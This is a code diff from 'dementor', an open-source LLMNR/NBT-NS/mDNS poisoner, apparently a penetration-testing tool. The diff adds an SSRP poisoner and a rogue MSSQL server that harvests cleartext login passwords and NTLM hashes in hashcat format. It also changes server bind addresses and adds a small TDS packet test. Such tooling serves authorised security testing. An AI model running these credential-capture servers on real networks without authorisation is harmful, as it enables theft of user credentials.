144
+
145
+
146
+ class SSRPPoisoner(BaseProtoHandler):
147
+ def proto_logger(self) -> ProtocolLogger:
148
+ return ProtocolLogger(
149
+ extra={
150
+ "protocol": "SSRP",
151
+ "protocol_color": "steel_blue",
152
+ "host": self.client_host,
153
+ "port": 1434,
154
+ }
155
+ )
156
+
157
+ def handle_data(self, data, transport) -> None:
158
+ if not in_scope(self.client_host, self.config):
159
+ return
160
+
161
+ instance_name = self.config.ssrp_config.ssrp_server_instance
162
+ if data[0] == SSRP_CLNT_UCAST_INST:
163
+ # request for a specific instance
164
+ try:
165
+ req = unpack(CLNT_UCAST_INST, data)
166
+ instance_name = req.instance
167
+ self.logger.display(
168
+ f"Request for MSSQL server instance [i]{escape(instance_name)}[/]"
169
+ )
170
+ except StructException:
171
+ # malformed packet
172
+ return
173
+
174
+ if data[0] == SSRP_CLNT_UCAST_DAC:
175
+ port = self.config.mssql_config.mssql_port
176
+ self.logger.success(
177
+ f"Sending SRV_RESP_DAC for local port: {port} (i]{escape(instance_name)}[/])"
178
+ )
179
+ resp = SVR_RESP_DAC(tcp_dac_port=port)
180
+ self.send(pack(resp))
181
+
182
+ elif data[0] in (SSRP_CLNT_BCAST_EX, SSRP_CLNT_UCAST_EX, SSRP_CLNT_UCAST_INST):
183
+ self.logger.success(
184
+ f"Sending SVR_RESP with server config ([i]{instance_name}[/])"
185
+ )
186
+ name, _ = NTLM_split_fqdn(self.config.ssrp_config.ssrp_server_name)
187
+ resp = SVR_RESP(
188
+ data=(
189
+ f"ServerName;{name};"
190
+ f"InstanceName;{instance_name};"
191
+ "IsClustered;No;"
192
+ f"Version;{self.config.ssrp_config.ssrp_server_version};"
193
+ f"tcp;{self.config.mssql_config.mssql_port}"
194
+ f"{self.config.ssrp_config.ssrp_instance_config}"
195
+ ";;"
196
+ )
197
+ )
198
+ self.send(pack(resp))
199
+
200
+
201
+ class SSRPServer(ThreadingUDPServer):
202
+ default_port = 1434
203
+ default_handler_class = SSRPPoisoner
204
+ service_name = "SSRP"
205
+
206
+
207
+ # =============================================================================
208
+ # MS-SQL
209
+ # =============================================================================
210
+ class MSSQLConfig(TomlConfig):
211
+ _section_ = "MSSQL"
212
+ _fields_ = [
213
+ A("mssql_port", "Port", 1433),
214
+ A("mssql_server_version", "Version", "9.00.1399.06"),
215
+ A("mssql_fqdn", "FQDN", "DEMENTOR", section_local=False),
216
+ A("mssql_instance", "InstanceName", "MSSQLSerevr"),
217
+ A("mssql_ess", "NTLM.ExtendedSessionSecurity", True, factory=is_true),
218
+ A("mssql_challenge", "NTLM.Challenge", b"A" * 8),
219
+ A("mssql_error_code", "ErrorCode", 1205), # LK_VICTIM
220
+ A("mssql_error_state", "ErrorState", 1),
221
+ A("mssql_error_class", "ErrorClass", 14),
222
+ A(
223
+ "mssql_error_msg",
224
+ "ErrorMessage",
225
+ "You have been chosen as the deadlock victim",
226
+ ),
227
+ ]
228
+
229
+
230
+ # 2.2.6.4 PRELOGIN
231
+ @struct(order=LittleEndian)
232
+ class PL_OPTION_TOKEN_VERSION:
233
+ major: uint8 = 15
234
+ minor: uint8 = 0
235
+ patch: uint16 = 2000
236
+ sub_build: uint16 = 0x00
237
+
238
+ def __str__(self) -> str:
239
+ version_str = f"{self.major}.{self.minor}.{self.patch}"
240
+ return version_str if not self.sub_build else f"{version_str}.{self.sub_build}"
241
+
242
+
243
+ # 2.2.7.22 SSPI
244
+ @struct(order=LittleEndian)
245
+ class SSPI:
246
+ token_type: uint8 = 0xED
247
+ buffer: Prefixed(uint16)
248
+
249
+
250
+ class VARCHAR(FieldStruct):
251
+ def __init__(self, sub) -> None:
252
+ super().__init__()
253
+ self.struct = sub
254
+
255
+ def __size__(self, context) -> int:
256
+ raise NotImplementedError
257
+
258
+ def __type__(self) -> type:
259
+ return str
260
+
261
+ def unpack_single(self, context) -> str:
262
+ size = self.struct.__unpack__(context)
263
+ return context._io.read(size * 2).decode("utf-16le")
264
+
265
+ def pack_single(self, obj, context) -> None:
266
+ length = len(obj)
267
+ self.struct.__pack__(length, context)
268
+ context._io.write(obj.encode("utf-16le"))
269
+
270
+
271
+ # Even though, this gets packed successfully, the server won't be able
272
+ # to parse it
273
+ @struct(order=LittleEndian)
274
+ class TDS_ERROR:
275
+ token_type: uint8 = tds.TDS_ERROR_TOKEN
276
+ length: uint16 = 0
277
+ number: uint32
278
+ state: uint8
279
+ class_: uint8
280
+ msg: VARCHAR(uint16)
281
+ server_name: VARCHAR(uint8)
282
+ process_name: VARCHAR(uint8)
283
+ line_number: uint16
284
+
285
+ def length_hint(self) -> int:
286
+ return (
287
+ 12
288
+ + len(self.msg) * 2
289
+ + len(self.server_name) * 2
290
+ + len(self.process_name) * 2
291
+ )
292
+
293
+
294
+ class MSSQLHandler(BaseProtoHandler):
295
+ def __init__(self, config, request, client_address, server) -> None:
296
+ self.challenge = None
297
+ super().__init__(config, request, client_address, server)
298
+
299
+ def proto_logger(self) -> ProtocolLogger:
300
+ return ProtocolLogger(
301
+ extra={
302
+ "protocol": "MSSQL",
303
+ "protocol_color": "plum3",
304
+ "host": self.client_host,
305
+ "port": self.config.mssql_config.mssql_port,
306
+ }
307
+ )
308
+
309
+ def handle_data(self, data, transport) -> None:
310
+ while True:
311
+ try:
312
+ data = self.recv(8192)
313
+ if not data:
314
+ break
315
+ except OSError:
316
+ break
317
+
318
+ packet = tds.TDSPacket(data)
319
+ code = None
320
+ match packet["Type"]:
321
+ case 18: # TDS_PRE_LOGIN
322
+ code = self.handle_pre_login(packet)
323
+
324
+ case 16: # TDS_LOGIN
325
+ code = self.handle_login(packet)
326
+
327
+ case 17:
328
+ code = self.handle_sspi(packet)
329
+
330
+ case _:
331
+ self.send_error(packet)
332
+ code = 1
333
+
334
+ if code:
335
+ break
336
+
337
+ def handle_pre_login(self, packet: tds.TDSPacket) -> int:
338
+ pre_login = tds.TDS_PRELOGIN(packet["Data"])
339
+ instance = pre_login["Instance"].decode(errors="replace") or "(blank)"
340
+ version = pre_login["Version"]
341
+ if packet["Data"][pre_login["EncryptionOffset"]] in (tds.TDS_ENCRYPT_REQ, tds.TDS_ENCRYPT_ON):
342
+ self.logger.display(
343
+ f"Pre-Login request for [i]{escape(instance)}[/] "
344
+ "([bold red]Encryption requested[/])"
345
+ )
346
+ else:
347
+ self.logger.display(
348
+ f"PreLogin request for [i]{escape(instance)}[/] "
349
+ f"(version: {unpack(PL_OPTION_TOKEN_VERSION, version)})"
350
+ )
351
+
352
+ pre_login = tds.TDS_PRELOGIN()
353
+ version = self.config.mssql_config.mssql_server_version.split(".")
354
+ target_version = PL_OPTION_TOKEN_VERSION()
355
+ if len(version) >= 3:
356
+ target_version.major = int(version[0])
357
+ target_version.minor = int(version[1])
358
+ target_version.patch = int(version[2])
359
+
360
+ pre_login["Version"] = pack(target_version)
361
+ pre_login["Encryption"] = tds.TDS_ENCRYPT_NOT_SUP
362
+ pre_login["Instance"] = b"\x00"
363
+ pre_login["InstanceLength"] = 1
364
+ pre_login["ThreadID"] = b""
365
+ pre_login["ThreadIDLength"] = 0
366
+ self.send_response(
367
+ tds.TDS_TABULAR,
368
+ tds.TDS_STATUS_EOM,
369
+ pre_login.getData(),
370
+ packet,
371
+ )
372
+ return 0x00
373
+
374
+ def handle_login(self, packet: tds.TDSPacket) -> int:
375
+ login = tds.TDS_LOGIN(packet["Data"])
376
+ username = login["UserName"].decode("utf-16le")
377
+ password = login["Password"]
378
+ extras = {
379
+ attr_name: login[attr_name].decode("utf-16le")
380
+ for attr_name in ("HostName", "AppName", "Database")
381
+ if login[attr_name]
382
+ }
383
+
384
+ if password: # most likely cleartext
385
+ cleartext_password = self.decode_password(password)
386
+ self.config.db.add_auth(
387
+ client=self.client_address,
388
+ credtype=_CLEARTEXT,
389
+ username=username,
390
+ password=cleartext_password,
391
+ logger=self.logger,
392
+ extras=extras,
393
+ )
394
+ self.send_error(packet)
395
+ return 0x01
396
+
397
+ if login["SSPI"]:
398
+ sspi_buffer = login["SSPI"]
399
+ try:
400
+ negotiate = ntlm.NTLMAuthNegotiate()
401
+ negotiate.fromString(sspi_buffer)
402
+ except Exception:
403
+ # invalid packet
404
+ self.logger.debug(f"Invalid NTLMSSP packet: {sspi_buffer.hex()}")
405
+ self.send_error(packet)
406
+ return 1
407
+
408
+ self.challenge = NTLM_AUTH_CreateChallenge(
409
+ negotiate,
410
+ *NTLM_split_fqdn(self.config.mssql_config.mssql_fqdn),
411
+ challenge=self.config.mssql_config.mssql_challenge,
412
+ disable_ess=not self.config.mssql_config.mssql_ess,
413
+ )
414
+
415
+ sspi = SSPI(buffer=self.challenge.getData())
416
+ self.send_response(
417
+ tds.TDS_TABULAR,
418
+ tds.TDS_STATUS_EOM,
419
+ pack(sspi),
420
+ packet,
421
+ )
422
+ return 0
423
+
424
+ self.send_error(packet)
425
+ return 1 # terminate connection
426
+
427
+ def handle_sspi(self, packet: tds.TDSPacket) -> int:
428
+ raw_data = packet["Data"]
429
+ try:
430
+ auth_message = ntlm.NTLMAuthChallengeResponse()
431
+ auth_message.fromString(raw_data)
432
+ except Exception:
433
+ self.logger.debug(f"Invalid NTLMSSP packet: {raw_data.hex()}")
434
+ self.send_error(packet)
435
+ return 1
436
+
437
+ if NTLM_AUTH_is_anonymous(auth_message):
438
+ self.logger.display("Rejecting anonymous login (NTLMSSP)")
439
+ self.send_error(packet)
440
+ return 1
441
+
442
+ flags = auth_message["flags"]
443
+ hashversion, hashvalue = NTLM_AUTH_to_hashcat_format(
444
+ self.challenge["challenge"].encode(),
445
+ auth_message["user_name"],
446
+ auth_message["domain_name"],
447
+ auth_message["lanman"],
448
+ auth_message["ntlm"],
449
+ flags,
450
+ )
451
+
452
+ self.config.db.add_auth(
453
+ client=self.client_address,
454
+ credtype=hashversion,
455
+ username=NTLM_AUTH_decode_string(auth_message["user_name"], flags),
456
+ domain=NTLM_AUTH_decode_string(auth_message["domain_name"], flags),
457
+ password=hashvalue,
458
+ logger=self.logger,
459
+ )
460
+ self.send_error(packet)
461
+ return 1
462
+
463
+ def decode_password(self, password: bytes) -> str:
464
+ return bytes(
465
+ [
466
+ (((byte ^ 0xA5) & 0xF0) >> 4) | (((byte ^ 0xA5) & 0x0F) << 4)
467
+ for byte in password
468
+ ]
469
+ ).decode("utf-16le", errors="replace")
470
+
471
+ def send_response(self, type: int, status: int, data: bytes, prev_pkt) -> None:
472
+ packet = tds.TDSPacket()
473
+ packet["Type"] = type
474
+ packet["Status"] = status
475
+ packet["Data"] = data
476
+ packet["PacketID"] = prev_pkt["PacketID"] + 1
477
+ packet["SPID"] = prev_pkt["SPID"]
478
+ self.send(packet.getData())
479
+
480
+ def send_error(self, prev_pkt) -> None:
481
+ name = NTLM_split_fqdn(self.config.mssql_config.mssql_fqdn)[0]
482
+ error = TDS_ERROR(
483
+ number=self.config.mssql_config.mssql_error_code,
484
+ state=self.config.mssql_config.mssql_error_state,
485
+ class_=self.config.mssql_config.mssql_error_class,
486
+ msg=self.config.mssql_config.mssql_error_msg,
487
+ server_name=name,
488
+ process_name="",
489
+ line_number=1,
490
+ )
491
+ # currently, there is no better way to get the length
492
+ error.length = error.length_hint()
493
+
494
+ token_done = tds.TDS_DONE()
495
+ token_done["TokenType"] = tds.TDS_DONE_TOKEN
496
+ token_done["Status"] = 0x02 # Error
497
+ token_done["CurCmd"] = 0
498
+ token_done["DoneRowCount"] = 0
499
+ self.send_response(
500
+ tds.TDS_TABULAR,
501
+ tds.TDS_STATUS_EOM,
502
+ pack(error) + token_done.getData(),
503
+ prev_pkt,
504
+ )
505
+
506
+
507
+ class MSSQLServer(ThreadingTCPServer):
508
+ default_port = 1433
509
+ default_handler_class = MSSQLHandler
510
+ service_name = "MSSQL"
@@ -131,6 +131,10 @@ def NTLM_split_fqdn(fqdn: str):
131
131
  return fqdn.split(".", 1) if "." in fqdn else (fqdn, "")
132
132
 
133
133
 
134
+ def NTLM_AUTH_is_anonymous(token: ntlm.NTLMAuthChallengeResponse) -> bool:
135
+ return token["flags"] & ntlm.NTLMSSP_NEGOTIATE_ANONYMOUS or not token["user_name"]
136
+
137
+
134
138
  def NTLM_AUTH_CreateChallenge(
135
139
  token: ntlm.NTLMAuthNegotiate,
136
140
  name: str,
@@ -57,8 +57,7 @@ def apply_config(session):
57
57
  def create_server_threads(session):
58
58
  servers = []
59
59
  if session.quic_enabled:
60
- address = "::" if session.ipv6 else session.ipv4 or ""
61
- servers.append(QuicServerThread(session, address, ipv6=bool(session.ipv6)))
60
+ servers.append(QuicServerThread(session, session.bind_address, ipv6=bool(session.ipv6)))
62
61
 
63
62
  return servers
64
63
 
@@ -148,13 +148,9 @@ class SMBServerThread(threading.Thread):
148
148
  # always disconnect
149
149
 
150
150
  # Change address_family to IPv6 if this is configured
151
- address = self.config.ipv4
151
+ address = self.config.bind_address
152
152
  if self.config.ipv6:
153
153
  SMBSERVER.address_family = socket.AF_INET6
154
- # empty string means all interfaces even though IPv6 can be bound to a specific
155
- # interface. Unfortunately, impacket's SMBSERVER does not support binding to
156
- # specific IPv6 addresses.
157
- address = ""
158
154
 
159
155
  self.server = SMBSERVER(
160
156
  (address, self.server_config.smb_port),
@@ -334,7 +334,7 @@ class SMTPServerThread(threading.Thread):
334
334
 
335
335
  # NOTE: hostname on the controller points to the local address that will be
336
336
  # bound and the SMTP hostname is just a string that will be sent to the client,
337
- controller.hostname = "::" if self.config.ipv6 else self.config.ipv4
337
+ controller.hostname = config.bind_address
338
338
 
339
339
  # alter the server hostname
340
340
  controller.SMTP_kwargs["hostname"] = smtp_config.smtp_fqdn.split(".", 1)[0]
@@ -136,7 +136,7 @@ class ThreadingUDPServer(socketserver.ThreadingMixIn, socketserver.UDPServer):
136
136
  self.address_family = socket.AF_INET6
137
137
 
138
138
  super().__init__(
139
- server_address or ("", self.default_port),
139
+ server_address or (self.config.bind_address, self.default_port),
140
140
  RequestHandlerClass or self.default_handler_class,
141
141
  )
142
142
 
@@ -173,7 +173,7 @@ class ThreadingTCPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
173
173
  if config.ipv6 and not self.ipv4_only:
174
174
  self.address_family = socket.AF_INET6
175
175
  super().__init__(
176
- server_address or ("", self.default_port),
176
+ server_address or (self.config.bind_address, self.default_port),
177
177
  RequestHandlerClass or self.default_handler_class,
178
178
  )
179
179
 
@@ -241,7 +241,7 @@ def main_print_options(session: SessionConfig, interface):
241
241
  off = r"[bold red]\[OFF][/bold red]"
242
242
 
243
243
  poisoners_lines = ["", "[bold]Poisoners:[/bold]"]
244
- for name in ("LLMNR", "mDNS", "NBTNS"):
244
+ for name in ("LLMNR", "mDNS", "NBTNS", "SSRP"):
245
245
  attr_name = f"{name.lower()}_enabled"
246
246
  status = on if getattr(session, attr_name, False) else off
247
247
  if session.analysis:
@@ -259,8 +259,9 @@ def main_print_options(session: SessionConfig, interface):
259
259
  poisoners_lines.append(main_format_config("Interface", interface))
260
260
 
261
261
  protocols_lines = ["", "[bold]Servers:[/bold]"]
262
- additional_protocols = ["KDC", "NBTDS"]
263
- for name in (list(session.protocols) or []) + additional_protocols:
262
+ additional_protocols = ["KDC", "NBTDS", "WinRM"]
263
+ protos = (list(session.protocols) or []) + additional_protocols
264
+ for name in sorted(protos):
264
265
  attr_name = f"{name.lower()}_enabled"
265
266
  value = getattr(session, attr_name, None)
266
267
  if value is None:
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: dementor
3
- Version: 1.0.0.dev2
3
+ Version: 1.0.0.dev4
4
4
  Summary: LLMNR/NBT-NS/mDNS Poisoner and rogue service provider
5
5
  Author: MatrixEditor
6
6
  Maintainer: MatrixEditor
@@ -24,6 +24,7 @@ dementor/protocols/ldap.py
24
24
  dementor/protocols/llmnr.py
25
25
  dementor/protocols/mdns.py
26
26
  dementor/protocols/msrpc.py
27
+ dementor/protocols/mssql.py
27
28
  dementor/protocols/netbios.py
28
29
  dementor/protocols/ntlm.py
29
30
  dementor/protocols/quic.py
@@ -37,4 +38,5 @@ dementor/protocols/msrpc/rpc.py
37
38
  docs/README.pypi.md
38
39
  test/test_dcerpc.py
39
40
  test/test_dcom.py
40
- test/test_epm.py
41
+ test/test_epm.py
42
+ test/test_mssql_auth.py
@@ -1,6 +1,6 @@
1
1
  [project]
2
2
  name = "dementor"
3
- version = "1.0.0.dev2"
3
+ version = "1.0.0.dev4"
4
4
  license = { file = "LICENSE" }
5
5
 
6
6
  description = "LLMNR/NBT-NS/mDNS Poisoner and rogue service provider"
@@ -0,0 +1,56 @@
1
+ # type: ignore
2
+ from caterpillar.py import *
3
+
4
+ from impacket import tds
5
+
6
+ class VARCHAR(FieldStruct):
7
+ def __init__(self, sub) -> None:
8
+ super().__init__()
9
+ self.struct = sub
10
+
11
+ def unpack_single(self, context) -> str:
12
+ size = self.struct.__unpack__(context)
13
+ return context._io.read(size * 2).decode("utf-16le")
14
+
15
+ def pack_single(self, obj, context) -> None:
16
+ length = len(obj)
17
+ self.struct.__pack__(length, context)
18
+ context._io.write(obj.encode("utf-16le"))
19
+
20
+
21
+ class US_VARCHAR(VARCHAR):
22
+ __struct__ = VARCHAR(uint16)
23
+
24
+
25
+ class B_VARCHAR(VARCHAR):
26
+ __struct__ = VARCHAR(uint8)
27
+
28
+
29
+ @struct(order=LittleEndian)
30
+ class TDS_ERROR:
31
+ token_type: uint8 = tds.TDS_ERROR_TOKEN
32
+ length: uint16 = 0
33
+ number: uint32
34
+ state: uint8
35
+ class_: uint8
36
+ msg: US_VARCHAR
37
+ server_name: B_VARCHAR
38
+ process_name: B_VARCHAR
39
+ line_number: uint16
40
+
41
+ def length_hint(self) -> int:
42
+ return (
43
+ 12
44
+ + len(self.msg) * 2
45
+ + len(self.server_name) * 2
46
+ + len(self.process_name) * 2
47
+ )
48
+
49
+
50
+ data = bytes.fromhex(
51
+ "aa580018480000010e1d004c006f00670069006e0020006600610069006c0065006400200066006f0072002000750073006500720020002700750073006500720027002e0009440052004f00490044004c00410042003100000100"
52
+ )
53
+ error = unpack(TDS_ERROR, data)
54
+ print(error, error.length_hint())
55
+ error.length = error.length_hint()
56
+ assert pack(error) == data
File without changes
@@ -1,34 +0,0 @@
1
- from collections import defaultdict
2
- from dementor.config import TomlConfig
3
- from dementor.servers import ServerThread
4
- from dementor.protocols.msrpc.rpc import MSRPCServer, RPCConfig, RPCConnection
5
-
6
-
7
- def apply_config(session):
8
- session.rpc_config = TomlConfig.build_config(RPCConfig)
9
-
10
- for module in session.rpc_config.rpc_modules:
11
- # load custom config
12
- if hasattr(module, "apply_config"):
13
- module.apply_config(session)
14
-
15
-
16
- def create_server_threads(session):
17
- addr = "::" if session.ipv6 else session.ipv4 # necessary
18
-
19
- # connection data will be shared across both servers
20
- conn_data = defaultdict(RPCConnection)
21
- return [
22
- ServerThread(
23
- session,
24
- MSRPCServer,
25
- server_address=(addr, 135),
26
- handles=conn_data,
27
- ),
28
- ServerThread(
29
- session,
30
- MSRPCServer,
31
- server_address=(addr, session.rpc_config.epm_port),
32
- handles=conn_data,
33
- ),
34
- ]
File without changes
File without changes
File without changes